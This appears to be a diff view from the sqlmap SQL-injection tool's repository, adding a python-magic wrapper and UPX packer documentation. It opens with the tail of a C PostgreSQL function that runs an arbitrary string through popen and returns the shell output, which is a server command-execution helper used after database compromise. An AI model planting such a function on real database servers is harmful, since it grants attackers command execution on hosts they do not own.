memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
/*
Only if you want to log
elog(NOTICE, "Command evaluated: %s", command);
*/
result = (char *)malloc(1);
outlen = 0;
pipe = popen(command, "r");
while (fgets(line, sizeof(line), pipe) != NULL) {
linelen = strlen(line);
result = (char *)realloc(result, outlen + linelen);
strncpy(result + outlen, line, linelen);
outlen = outlen + linelen;
}
pclose(pipe);
if (*result) {
result[outlen-1] = 0x00;
}
result_text = (text *)malloc(VARHDRSZ + strlen(result));
//VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
memcpy(VARDATA(result_text), result, strlen(result));
PG_RETURN_POINTER(result_text);
}

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

203
lib/contrib/magic.py Normal file
View File

@ -0,0 +1,203 @@
#!/usr/bin/env python
"""
$Id$
Adam Hupp <adam@hupp.org>
Reference: http://hupp.org/adam/hg/python-magic
License: PSF (http://www.python.org/psf/license/)
"""
import os.path
import ctypes
import ctypes.util
from ctypes import c_char_p, c_int, c_size_t, c_void_p
class MagicException(Exception): pass
class Magic:
"""
Magic is a wrapper around the libmagic C library.
"""
def __init__(self, mime=False, magic_file=None):
"""
Create a new libmagic wrapper.
mime - if True, mimetypes are returned instead of textual descriptions
magic_file - use a mime database other than the system default
"""
flags = MAGIC_NONE
if mime:
flags |= MAGIC_MIME
self.cookie = magic_open(flags)
magic_load(self.cookie, magic_file)
def from_buffer(self, buf):
"""
Identify the contents of `buf`
"""
return magic_buffer(self.cookie, buf)
def from_file(self, filename):
"""
Identify the contents of file `filename`
raises IOError if the file does not exist
"""
if not os.path.exists(filename):
raise IOError("File does not exist: " + filename)
return magic_file(self.cookie, filename)
def __del__(self):
try:
magic_close(self.cookie)
except Exception, e:
print "got thig: ", e
_magic_mime = None
_magic = None
def _get_magic_mime():
global _magic_mime
if not _magic_mime:
_magic_mime = Magic(mime=True)
return _magic_mime
def _get_magic():
global _magic
if not _magic:
_magic = Magic()
return _magic
def _get_magic_type(mime):
if mime:
return _get_magic_mime()
else:
return _get_magic()
def from_file(filename, mime=False):
m = _get_magic_type(mime)
return m.from_file(filename)
def from_buffer(buffer, mime=False):
m = _get_magic_type(mime)
return m.from_buffer(buffer)
libmagic = ctypes.CDLL(ctypes.util.find_library('magic'))
magic_t = ctypes.c_void_p
def errorcheck(result, func, args):
err = magic_error(args[0])
if err is not None:
raise MagicException(err)
else:
return result
magic_open = libmagic.magic_open
magic_open.restype = magic_t
magic_open.argtypes = [c_int]
magic_close = libmagic.magic_close
magic_close.restype = None
magic_close.argtypes = [magic_t]
magic_close.errcheck = errorcheck
magic_error = libmagic.magic_error
magic_error.restype = c_char_p
magic_error.argtypes = [magic_t]
magic_errno = libmagic.magic_errno
magic_errno.restype = c_int
magic_errno.argtypes = [magic_t]
magic_file = libmagic.magic_file
magic_file.restype = c_char_p
magic_file.argtypes = [magic_t, c_char_p]
magic_file.errcheck = errorcheck
_magic_buffer = libmagic.magic_buffer
_magic_buffer.restype = c_char_p
_magic_buffer.argtypes = [magic_t, c_void_p, c_size_t]
_magic_buffer.errcheck = errorcheck
def magic_buffer(cookie, buf):
return _magic_buffer(cookie, buf, len(buf))
magic_load = libmagic.magic_load
magic_load.restype = c_int
magic_load.argtypes = [magic_t, c_char_p]
magic_load.errcheck = errorcheck
magic_setflags = libmagic.magic_setflags
magic_setflags.restype = c_int
magic_setflags.argtypes = [magic_t, c_int]
magic_check = libmagic.magic_check
magic_check.restype = c_int
magic_check.argtypes = [magic_t, c_char_p]
magic_compile = libmagic.magic_compile
magic_compile.restype = c_int
magic_compile.argtypes = [magic_t, c_char_p]
MAGIC_NONE = 0x000000 # No flags
MAGIC_DEBUG = 0x000001 # Turn on debugging
MAGIC_SYMLINK = 0x000002 # Follow symlinks
MAGIC_COMPRESS = 0x000004 # Check inside compressed files
MAGIC_DEVICES = 0x000008 # Look at the contents of devices
MAGIC_MIME = 0x000010 # Return a mime string
MAGIC_CONTINUE = 0x000020 # Return all matches
MAGIC_CHECK = 0x000040 # Print warnings to stderr
MAGIC_PRESERVE_ATIME = 0x000080 # Restore access time on exit
MAGIC_RAW = 0x000100 # Don't translate unprintable chars
MAGIC_ERROR = 0x000200 # Handle ENOENT etc as real errors
MAGIC_NO_CHECK_COMPRESS = 0x001000 # Don't check for compressed files
MAGIC_NO_CHECK_TAR = 0x002000 # Don't check for tar files
MAGIC_NO_CHECK_SOFT = 0x004000 # Don't check magic entries
MAGIC_NO_CHECK_APPTYPE = 0x008000 # Don't check application type
MAGIC_NO_CHECK_ELF = 0x010000 # Don't check for elf details
MAGIC_NO_CHECK_ASCII = 0x020000 # Don't check for ascii files
MAGIC_NO_CHECK_TROFF = 0x040000 # Don't check ascii/troff
MAGIC_NO_CHECK_FORTRAN = 0x080000 # Don't check ascii/fortran
MAGIC_NO_CHECK_TOKENS = 0x100000 # Don't check ascii/tokens

Binary file not shown.

138
lib/contrib/upx/doc/LICENSE Normal file
View File

@ -0,0 +1,138 @@
-----BEGIN PGP SIGNED MESSAGE-----
ooooo ooo ooooooooo. ooooooo ooooo
`888' `8' `888 `Y88. `8888 d8'
888 8 888 .d88' Y888..8P
888 8 888ooo88P' `8888'
888 8 888 .8PY888.
`88. .8' 888 d8' `888b
`YbodP' o888o o888o o88888o
The Ultimate Packer for eXecutables
Copyright (c) 1996-2000 Markus Oberhumer & Laszlo Molnar
http://wildsau.idv.uni-linz.ac.at/mfx/upx.html
http://www.nexus.hu/upx
http://upx.tsx.org
PLEASE CAREFULLY READ THIS LICENSE AGREEMENT, ESPECIALLY IF YOU PLAN
TO MODIFY THE UPX SOURCE CODE OR USE A MODIFIED UPX VERSION.
ABSTRACT
========
UPX and UCL are copyrighted software distributed under the terms
of the GNU General Public License (hereinafter the "GPL").
The stub which is imbedded in each UPX compressed program is part
of UPX and UCL, and contains code that is under our copyright. The
terms of the GNU General Public License still apply as compressing
a program is a special form of linking with our stub.
As a special exception we grant the free usage of UPX for all
executables, including commercial programs.
See below for details and restrictions.
COPYRIGHT
=========
UPX and UCL are copyrighted software. All rights remain with the authors.
UPX is Copyright (C) 1996-2000 Markus Franz Xaver Johannes Oberhumer
UPX is Copyright (C) 1996-2000 Laszlo Molnar
UCL is Copyright (C) 1996-2000 Markus Franz Xaver Johannes Oberhumer
GNU GENERAL PUBLIC LICENSE
==========================
UPX and the UCL library are free software; you can redistribute them
and/or modify them under the terms of the GNU General Public License as
published by the Free Software Foundation; either version 2 of
the License, or (at your option) any later version.
UPX and UCL are distributed in the hope that they will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; see the file COPYING.
SPECIAL EXCEPTION FOR COMPRESSED EXECUTABLES
============================================
The stub which is imbedded in each UPX compressed program is part
of UPX and UCL, and contains code that is under our copyright. The
terms of the GNU General Public License still apply as compressing
a program is a special form of linking with our stub.
Hereby Markus F.X.J. Oberhumer and Laszlo Molnar grant you special
permission to freely use and distribute all UPX compressed programs
(including commercial ones), subject to the following restrictions:
1. You must compress your program with a completely unmodified UPX
version; either with our precompiled version, or (at your option)
with a self compiled version of the unmodified UPX sources as
distributed by us.
2. This also implies that the UPX stub must be completely unmodfied, i.e.
the stub imbedded in your compressed program must be byte-identical
to the stub that is produced by the official unmodified UPX version.
3. The decompressor and any other code from the stub must exclusively get
used by the unmodified UPX stub for decompressing your program at
program startup. No portion of the stub may get read, copied,
called or otherwise get used or accessed by your program.
ANNOTATIONS
===========
- You can use a modified UPX version or modified UPX stub only for
programs that are compatible with the GNU General Public License.
- We grant you special permission to freely use and distribute all UPX
compressed programs. But any modification of the UPX stub (such as,
but not limited to, removing our copyright string or making your
program non-decompressible) will immediately revoke your right to
use and distribute a UPX compressed program.
- UPX is not a software protection tool; by requiring that you use
the unmodified UPX version for your proprietary programs we
make sure that any user can decompress your program. This protects
both you and your users as nobody can hide malicious code -
any program that cannot be decompressed is highly suspicious
by definition.
- You can integrate all or part of UPX and UCL into projects that
are compatible with the GNU GPL, but obviously you cannot grant
any special exceptions beyond the GPL for our code in your project.
- We want to actively support manufacturers of virus scanners and
similar security software. Please contact us if you would like to
incorporate parts of UPX or UCL into such a product.
Markus F.X.J. Oberhumer Laszlo Molnar
markus.oberhumer@jk.uni-linz.ac.at ml1050@cdata.tvnet.hu
Linz, Austria, 25 Feb 2000
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: noconv
iQCVAwUBOLaLS210fyLu8beJAQFYVAP/ShzENWKLTvedLCjZbDcwaBEHfUVcrGMI
wE7frMkbWT2zmkdv9hW90WmjMhOBu7yhUplvN8BKOtLiolEnZmLCYu8AGCwr5wBf
dfLoClxnzfTtgQv5axF1awp4RwCUH3hf4cDrOVqmAsWXKPHtm4hx96jF6L4oHhjx
OO03+ojZdO8=
=CS52
-----END PGP SIGNATURE-----

142
lib/contrib/upx/doc/README Normal file
View File

@ -0,0 +1,142 @@
ooooo ooo ooooooooo. ooooooo ooooo
`888' `8' `888 `Y88. `8888 d8'
888 8 888 .d88' Y888..8P
888 8 888ooo88P' `8888'
888 8 888 .8PY888.
`88. .8' 888 d8' `888b
`YbodP' o888o o888o o88888o
The Ultimate Packer for eXecutables
Copyright (c) 1996-2008 Markus Oberhumer, Laszlo Molnar & John Reiser
http://upx.sourceforge.net
WELCOME
=======
Welcome to UPX !
Please don't forget to read the file LICENSE - UPX is distributed
under the GNU General Public License (GPL) with special exceptions
allowing the distribution of all compressed executables, including
commercial programs.
INTRODUCTION
============
UPX is an advanced executable file compressor. UPX will typically
reduce the file size of programs and DLLs by around 50%-70%, thus
reducing disk space, network load times, download times and
other distribution and storage costs.
Programs and libraries compressed by UPX are completely self-contained
and run exactly as before, with no runtime or memory penalty for most
of the supported formats.
UPX supports a number of different executable formats, including
Windows 95/98/ME/NT/2000/XP/CE programs and DLLs, DOS programs,
and Linux executables and kernels.
UPX is free software distributed under the term of the GNU General
Public License. Full source code is available.
UPX may be distributed and used freely, even with commercial applications.
See the UPX License Agreement for details.
UPX is rated number one in the well known Archive Comparison Test. Visit
http://compression.ca/ .
UPX aims to be Commercial Quality Freeware.
SHORT DOCUMENTATION
===================
'upx program.exe' will compress a program or DLL. For best compression
results try 'upx --brute program.exe'.
Please see the file UPX.DOC for the full documentation. The files
NEWS and BUGS also contain various tidbits of information.
DISCLAIMER
==========
UPX comes with ABSOLUTELY NO WARRANTY; for details see the file LICENSE.
Having said that, we think that UPX is quite stable now. Indeed we
have compressed lots of files without any problems. Also, the
current version has undergone several months of beta testing -
actually it's almost 8 years since our first public beta.
This is the first production quality release, and we plan that future
releases will be backward compatible with this version.
Please report all problems or suggestions to the authors. Thanks.
THE FUTURE
==========
- We'd really love to support handheld systems like the PalmPilot because
compression makes a lot of sense here. And - because of the atari/tos
format - we already have a working decompressor in 68000 assembly.
Unfortunately we know next to nothing about the operating system
architecture of such handhelds, so we need some information from
an expert. Please contact us if you think you can help.
- The Linux approach could probably get ported to a lot of other Unix
variants, at least for other i386 architectures it shouldn't be too
much work. If someone sends me a fresh hard disk and an official
FreeBSD/OpenBSD/NetBSD/Solaris/BeOS... CD I might take a look at it ;-)
- We will *NOT* add any sort of protection and/or encryption.
This only gives people a false feeling of security because
by definition all protectors/compressors can be broken.
And don't trust any advertisement of authors of other executable
compressors about this topic - just do a websearch on "unpackers"...
- Fix all remaining bugs - keep your reports coming ;-)
- See the file PROJECTS in the source code distribution if you want
to contribute.
COPYRIGHT
=========
Copyright (C) 1996-2008 Markus Franz Xaver Johannes Oberhumer
Copyright (C) 1996-2008 Laszlo Molnar
Copyright (C) 2000-2008 John F. Reiser
This program may be used freely, and you are welcome to
redistribute it under certain conditions.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
UPX License Agreement for more details.
You should have received a copy of the UPX License Agreement along
with this program; see the file LICENSE. If not, visit the UPX home page.
Share and enjoy,
Markus & Laszlo
Markus F.X.J. Oberhumer Laszlo Molnar
<markus@oberhumer.com> <ml1050@users.sourceforge.net>
[ The term UPX is a shorthand for the Ultimate Packer for eXecutables
and holds no connection with potential owners of registered trademarks
or other rights. ]
[ Feel free to contact us if you have commercial compression requirements
or interesting job offers. ]

View File

@ -0,0 +1,888 @@
<?xml version="1.0" ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>upx - compress or expand executable files</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rev="made" href="mailto:root@localhost" />
</head>
<body style="background-color: white">
<p><a name="__index__"></a></p>
<!-- INDEX BEGIN -->
<!--
<ul>
<li><a href="#name">NAME</a></li>
<li><a href="#synopsis">SYNOPSIS</a></li>
<li><a href="#abstract">ABSTRACT</a></li>
<li><a href="#disclaimer">DISCLAIMER</a></li>
<li><a href="#description">DESCRIPTION</a></li>
<li><a href="#commands">COMMANDS</a></li>
<ul>
<li><a href="#compress">Compress</a></li>
<li><a href="#decompress">Decompress</a></li>
<li><a href="#test">Test</a></li>
<li><a href="#list">List</a></li>
</ul>
<li><a href="#options">OPTIONS</a></li>
<li><a href="#compression_levels___tuning">COMPRESSION LEVELS &amp; TUNING</a></li>
<li><a href="#overlay_handling_options">OVERLAY HANDLING OPTIONS</a></li>
<li><a href="#environment">ENVIRONMENT</a></li>
<li><a href="#notes_for_the_supported_executable_formats">NOTES FOR THE SUPPORTED EXECUTABLE FORMATS</a></li>
<ul>
<li><a href="#notes_for_atari_tos">NOTES FOR ATARI/TOS</a></li>
<li><a href="#notes_for_bvmlinuz_i386">NOTES FOR BVMLINUZ/I386</a></li>
<li><a href="#notes_for_dos_com">NOTES FOR DOS/COM</a></li>
<li><a href="#notes_for_dos_exe">NOTES FOR DOS/EXE</a></li>
<li><a href="#notes_for_dos_sys">NOTES FOR DOS/SYS</a></li>
<li><a href="#notes_for_djgpp2_coff">NOTES FOR DJGPP2/COFF</a></li>
<li><a href="#notes_for_linux__general_">NOTES FOR LINUX [general]</a></li>
<li><a href="#notes_for_linux_elf386">NOTES FOR LINUX/ELF386</a></li>
<li><a href="#notes_for_linux_sh386">NOTES FOR LINUX/SH386</a></li>
<li><a href="#notes_for_linux_386">NOTES FOR LINUX/386</a></li>
<li><a href="#notes_for_ps1_exe">NOTES FOR PS1/EXE</a></li>
<li><a href="#notes_for_rtm32_pe_and_arm_pe">NOTES FOR RTM32/PE and ARM/PE</a></li>
<li><a href="#notes_for_tmt_adam">NOTES FOR TMT/ADAM</a></li>
<li><a href="#notes_for_vmlinuz_386">NOTES FOR VMLINUZ/386</a></li>
<li><a href="#notes_for_watcom_le">NOTES FOR WATCOM/LE</a></li>
<li><a href="#notes_for_win32_pe">NOTES FOR WIN32/PE</a></li>
</ul>
<li><a href="#diagnostics">DIAGNOSTICS</a></li>
<li><a href="#bugs">BUGS</a></li>
<li><a href="#authors">AUTHORS</a></li>
<li><a href="#copyright">COPYRIGHT</a></li>
</ul>
-->
<!-- INDEX END -->
<p>
</p>
<h1><a name="name">NAME</a></h1>
<p>upx - compress or expand executable files</p>
<p>
</p>
<hr />
<h1><a name="synopsis">SYNOPSIS</a></h1>
<p><strong>upx</strong> [&nbsp;<em>command</em>&nbsp;] [&nbsp;<em>options</em>&nbsp;] <em>filename</em>...</p>
<p>
</p>
<hr />
<h1><a name="abstract">ABSTRACT</a></h1>
<pre>
The Ultimate Packer for eXecutables
Copyright (c) 1996-2008 Markus Oberhumer, Laszlo Molnar &amp; John Reiser
<a href="http://upx.sourceforge.net">http://upx.sourceforge.net</a></pre>
<p><strong>UPX</strong> is a portable, extendable, high-performance executable packer for
several different executable formats. It achieves an excellent compression
ratio and offers <em>*very*</em> fast decompression. Your executables suffer
no memory overhead or other drawbacks for most of the formats supported,
because of in-place decompression.</p>
<p>While you may use <strong>UPX</strong> freely for both non-commercial and commercial
executables (for details see the file LICENSE), we would highly
appreciate if you credit <strong>UPX</strong> and ourselves in the documentation,
possibly including a reference to the <strong>UPX</strong> home page. Thanks.</p>
<p>[ Using <strong>UPX</strong> in non-OpenSource applications without proper credits
is considered not politically correct ;-) ]</p>
<p>
</p>
<hr />
<h1><a name="disclaimer">DISCLAIMER</a></h1>
<p><strong>UPX</strong> comes with ABSOLUTELY NO WARRANTY; for details see the file LICENSE.</p>
<p>This is the first production quality release, and we plan that future 1.xx
releases will be backward compatible with this version.</p>
<p>Please report all problems or suggestions to the authors. Thanks.</p>
<p>
</p>
<hr />
<h1><a name="description">DESCRIPTION</a></h1>
<p><strong>UPX</strong> is a versatile executable packer with the following features:</p>
<pre>
- excellent compression ratio: compresses better than zip/gzip,
use UPX to decrease the size of your distribution !</pre>
<pre>
- very fast decompression: about 10 MiB/sec on an ancient Pentium 133,
about 200 MiB/sec on an Athlon XP 2000+.</pre>
<pre>
- no memory overhead for your compressed executables for most of the
supported formats</pre>
<pre>
- safe: you can list, test and unpack your executables
Also, a checksum of both the compressed and uncompressed file is
maintained internally.</pre>
<pre>
- universal: UPX can pack a number of executable formats:
* atari/tos
* bvmlinuz/386 [bootable Linux kernel]
* djgpp2/coff
* dos/com
* dos/exe
* dos/sys
* linux/386
* linux/elf386
* linux/sh386
* ps1/exe
* rtm32/pe
* tmt/adam
* vmlinuz/386 [bootable Linux kernel]
* vmlinux/386
* watcom/le (supporting DOS4G, PMODE/W, DOS32a and CauseWay)
* win32/pe (exe and dll)
* arm/pe (exe and dll)
* linux/elfamd64
* linux/elfppc32
* mach/elfppc32</pre>
<pre>
- portable: UPX is written in portable endian-neutral C++</pre>
<pre>
- extendable: because of the class layout it's very easy to support
new executable formats or add new compression algorithms</pre>
<pre>
- free: UPX can be distributed and used freely. And from version 0.99
the full source code of UPX is released under the GNU General Public
License (GPL) !</pre>
<p>You probably understand now why we call <strong>UPX</strong> the ``<em>ultimate</em>''
executable packer.</p>
<p>
</p>
<hr />
<h1><a name="commands">COMMANDS</a></h1>
<p>
</p>
<h2><a name="compress">Compress</a></h2>
<p>This is the default operation, eg. <strong>upx yourfile.exe</strong> will compress the file
specified on the command line.</p>
<p>
</p>
<h2><a name="decompress">Decompress</a></h2>
<p>All <strong>UPX</strong> supported file formats can be unpacked using the <strong>-d</strong> switch, eg.
<strong>upx -d yourfile.exe</strong> will uncompress the file you've just compressed.</p>
<p>
</p>
<h2><a name="test">Test</a></h2>
<p>The <strong>-t</strong> command tests the integrity of the compressed and uncompressed
data, eg. <strong>upx -t yourfile.exe</strong> check whether your file can be safely
decompressed. Note, that this command doesn't check the whole file, only
the part that will be uncompressed during program execution. This means
that you should not use this command instead of a virus checker.</p>
<p>
</p>
<h2><a name="list">List</a></h2>
<p>The <strong>-l</strong> command prints out some information about the compressed files
specified on the command line as parameters, eg <strong>upx -l yourfile.exe</strong>
shows the compressed / uncompressed size and the compression ratio of
<em>yourfile.exe</em>.</p>
<p>
</p>
<hr />
<h1><a name="options">OPTIONS</a></h1>
<p><strong>-q</strong>: be quiet, suppress warnings</p>
<p><strong>-q -q</strong> (or <strong>-qq</strong>): be very quiet, suppress errors</p>
<p><strong>-q -q -q</strong> (or <strong>-qqq</strong>): produce no output at all</p>
<p><strong>--help</strong>: prints the help</p>
<p><strong>--version</strong>: print the version of <strong>UPX</strong></p>
<p><strong>--exact</strong>: when compressing, require to be able to get a byte-identical file
after decompression with option <strong>-d</strong>. [NOTE: this is work in progress and is
not supported for all formats yet. If you do care, as a workaround you can
compress and then decompress your program a first time - any further
compress-decompress steps should then yield byte-identical results
as compared to the first decompressed version.]</p>
<p>[ ...to be written... - type `<strong>upx --help</strong>' for now ]</p>
<p>
</p>
<hr />
<h1><a name="compression_levels___tuning">COMPRESSION LEVELS &amp; TUNING</a></h1>
<p><strong>UPX</strong> offers ten different compression levels from <strong>-1</strong> to <strong>-9</strong>,
and <strong>--best</strong>. The default compression level is <strong>-8</strong> for files
smaller than 512 KiB, and <strong>-7</strong> otherwise.</p>
<ul>
<li>
<p>Compression levels 1, 2 and 3 are pretty fast.</p>
</li>
<li>
<p>Compression levels 4, 5 and 6 achieve a good time/ratio performance.</p>
</li>
<li>
<p>Compression levels 7, 8 and 9 favor compression ratio over speed.</p>
</li>
<li>
<p>Compression level <strong>--best</strong> may take a long time.</p>
</li>
</ul>
<p>Note that compression level <strong>--best</strong> can be somewhat slow for large
files, but you definitely should use it when releasing a final version
of your program.</p>
<p>Quick info for achieving the best compression ratio:</p>
<ul>
<li>
<p>Try <strong>upx --brute myfile.exe</strong> or even <strong>upx --ultra-brute myfile.exe</strong>.</p>
</li>
<li>
<p>Try if <strong>--overlay=strip</strong> works.</p>
</li>
<li>
<p>For win32/pe programs there's <strong>--strip-relocs=0</strong>. See notes below.</p>
</li>
</ul>
<p>
</p>
<hr />
<h1><a name="overlay_handling_options">OVERLAY HANDLING OPTIONS</a></h1>
<p>Info: An ``overlay'' means auxiliary data attached after the logical end of
an executable, and it often contains application specific data
(this is a common practice to avoid an extra data file, though
it would be better to use resource sections).</p>
<p><strong>UPX</strong> handles overlays like many other executable packers do: it simply
copies the overlay after the compressed image. This works with some
files, but doesn't work with others, depending on how an application
actually accesses this overlayed data.</p>
<pre>
--overlay=copy Copy any extra data attached to the file. [DEFAULT]</pre>
<pre>
--overlay=strip Strip any overlay from the program instead of
copying it. Be warned, this may make the compressed
program crash or otherwise unusable.</pre>
<pre>
--overlay=skip Refuse to compress any program which has an overlay.</pre>
<p>
</p>
<hr />
<h1><a name="environment">ENVIRONMENT</a></h1>
<p>The environment variable <strong>UPX</strong> can hold a set of default
options for <strong>UPX</strong>. These options are interpreted first and
can be overwritten by explicit command line parameters.
For example:</p>
<pre>
for DOS/Windows: set UPX=-9 --compress-icons#0
for sh/ksh/zsh: UPX=&quot;-9 --compress-icons=0&quot;; export UPX
for csh/tcsh: setenv UPX &quot;-9 --compress-icons=0&quot;</pre>
<p>Under DOS/Windows you must use '#' instead of '=' when setting the
environment variable because of a COMMAND.COM limitation.</p>
<p>Not all of the options are valid in the environment variable -
<strong>UPX</strong> will tell you.</p>
<p>You can explicitly use the <strong>--no-env</strong> option to ignore the
environment variable.</p>
<p>
</p>
<hr />
<h1><a name="notes_for_the_supported_executable_formats">NOTES FOR THE SUPPORTED EXECUTABLE FORMATS</a></h1>
<p>
</p>
<h2><a name="notes_for_atari_tos">NOTES FOR ATARI/TOS</a></h2>
<p>This is the executable format used by the Atari ST/TT, a Motorola 68000
based personal computer which was popular in the late '80s. Support
of this format is only because of nostalgic feelings of one of
the authors and serves no practical purpose :-).
See <a href="http://www.freemint.de">http://www.freemint.de</a> for more info.</p>
<p>Packed programs will be byte-identical to the original after uncompression.
All debug information will be stripped, though.</p>
<p>Extra options available for this executable format:</p>
<pre>
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</pre>
<p>
</p>
<h2><a name="notes_for_bvmlinuz_i386">NOTES FOR BVMLINUZ/I386</a></h2>
<p>Same as vmlinuz/i386.</p>
<p>
</p>
<h2><a name="notes_for_dos_com">NOTES FOR DOS/COM</a></h2>
<p>Obviously <strong>UPX</strong> won't work with executables that want to read data from
themselves (like some commandline utilities that ship with Win95/98/ME).</p>
<p>Compressed programs only work on a 286+.</p>
<p>Packed programs will be byte-identical to the original after uncompression.</p>
<p>Maximum uncompressed size: ~65100 bytes.</p>
<p>Extra options available for this executable format:</p>
<pre>
--8086 Create an executable that works on any 8086 CPU.</pre>
<pre>
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</pre>
<pre>
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.</pre>
<p>
</p>
<h2><a name="notes_for_dos_exe">NOTES FOR DOS/EXE</a></h2>
<p>dos/exe stands for all ``normal'' 16-bit DOS executables.</p>
<p>Obviously <strong>UPX</strong> won't work with executables that want to read data from
themselves (like some command line utilities that ship with Win95/98/ME).</p>
<p>Compressed programs only work on a 286+.</p>
<p>Extra options available for this executable format:</p>
<pre>
--8086 Create an executable that works on any 8086 CPU.</pre>
<pre>
--no-reloc Use no relocation records in the exe header.</pre>
<pre>
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</pre>
<p>
</p>
<h2><a name="notes_for_dos_sys">NOTES FOR DOS/SYS</a></h2>
<p>Compressed programs only work on a 286+.</p>
<p>Packed programs will be byte-identical to the original after uncompression.</p>
<p>Maximum uncompressed size: ~65350 bytes.</p>
<p>Extra options available for this executable format:</p>
<pre>
--8086 Create an executable that works on any 8086 CPU.</pre>
<pre>
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</pre>
<pre>
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.</pre>
<p>
</p>
<h2><a name="notes_for_djgpp2_coff">NOTES FOR DJGPP2/COFF</a></h2>
<p>First of all, it is recommended to use <strong>UPX</strong> *instead* of <strong>strip</strong>. strip has
the very bad habit of replacing your stub with its own (outdated) version.
Additionally <strong>UPX</strong> corrects a bug/feature in strip v2.8.x: it
will fix the 4 KiB alignment of the stub.</p>
<p><strong>UPX</strong> includes the full functionality of stubify. This means it will
automatically stubify your COFF files. Use the option <strong>--coff</strong> to
disable this functionality (see below).</p>
<p><strong>UPX</strong> automatically handles Allegro packfiles.</p>
<p>The DLM format (a rather exotic shared library extension) is not supported.</p>
<p>Packed programs will be byte-identical to the original after uncompression.
All debug information and trailing garbage will be stripped, though.</p>
<p>Extra options available for this executable format:</p>
<pre>
--coff Produce COFF output instead of EXE. By default
UPX keeps your current stub.</pre>
<pre>
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</pre>
<pre>
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.</pre>
<p>
</p>
<h2><a name="notes_for_linux__general_">NOTES FOR LINUX [general]</a></h2>
<p>Introduction</p>
<pre>
Linux/386 support in UPX consists of 3 different executable formats,
one optimized for ELF executables (&quot;linux/elf386&quot;), one optimized
for shell scripts (&quot;linux/sh386&quot;), and one generic format
(&quot;linux/386&quot;).</pre>
<pre>
We will start with a general discussion first, but please
also read the relevant docs for each of the individual formats.</pre>
<pre>
Also, there is special support for bootable kernels - see the
description of the vmlinuz/386 format.</pre>
<p>General user's overview</p>
<pre>
Running a compressed executable program trades less space on a
``permanent'' storage medium (such as a hard disk, floppy disk,
CD-ROM, flash memory, EPROM, etc.) for more space in one or more
``temporary'' storage media (such as RAM, swap space, /tmp, etc.).
Running a compressed executable also requires some additional CPU
cycles to generate the compressed executable in the first place,
and to decompress it at each invocation.</pre>
<pre>
How much space is traded? It depends on the executable, but many
programs save 30% to 50% of permanent disk space. How much CPU
overhead is there? Again, it depends on the executable, but
decompression speed generally is at least many megabytes per second,
and frequently is limited by the speed of the underlying disk
or network I/O.</pre>
<pre>
Depending on the statistics of usage and access, and the relative
speeds of CPU, RAM, swap space, /tmp, and file system storage, then
invoking and running a compressed executable can be faster than
directly running the corresponding uncompressed program.
The operating system might perform fewer expensive I/O operations
to invoke the compressed program. Paging to or from swap space
or /tmp might be faster than paging from the general file system.
``Medium-sized'' programs which access about 1/3 to 1/2 of their
stored program bytes can do particularly well with compression.
Small programs tend not to benefit as much because the absolute
savings is less. Big programs tend not to benefit proportionally
because each invocation may use only a small fraction of the program,
yet UPX decompresses the entire program before invoking it.
But in environments where disk or flash memory storage is limited,
then compression may win anyway.</pre>
<pre>
Currently, executables compressed by UPX do not share RAM at runtime
in the way that executables mapped from a file system do. As a
result, if the same program is run simultaneously by more than one
process, then using the compressed version will require more RAM and/or
swap space. So, shell programs (bash, csh, etc.) and ``make''
might not be good candidates for compression.</pre>
<pre>
UPX recognizes three executable formats for Linux: Linux/elf386,
Linux/sh386, and Linux/386. Linux/386 is the most generic format;
it accommodates any file that can be executed. At runtime, the UPX
decompression stub re-creates in /tmp a copy of the original file,
and then the copy is (re-)executed with the same arguments.
ELF binary executables prefer the Linux/elf386 format by default,
because UPX decompresses them directly into RAM, uses only one
exec, does not use space in /tmp, and does not use /proc.
Shell scripts where the underlying shell accepts a ``-c'' argument
can use the Linux/sh386 format. UPX decompresses the shell script
into low memory, then maps the shell and passes the entire text of the
script as an argument with a leading ``-c''.</pre>
<p>General benefits:</p>
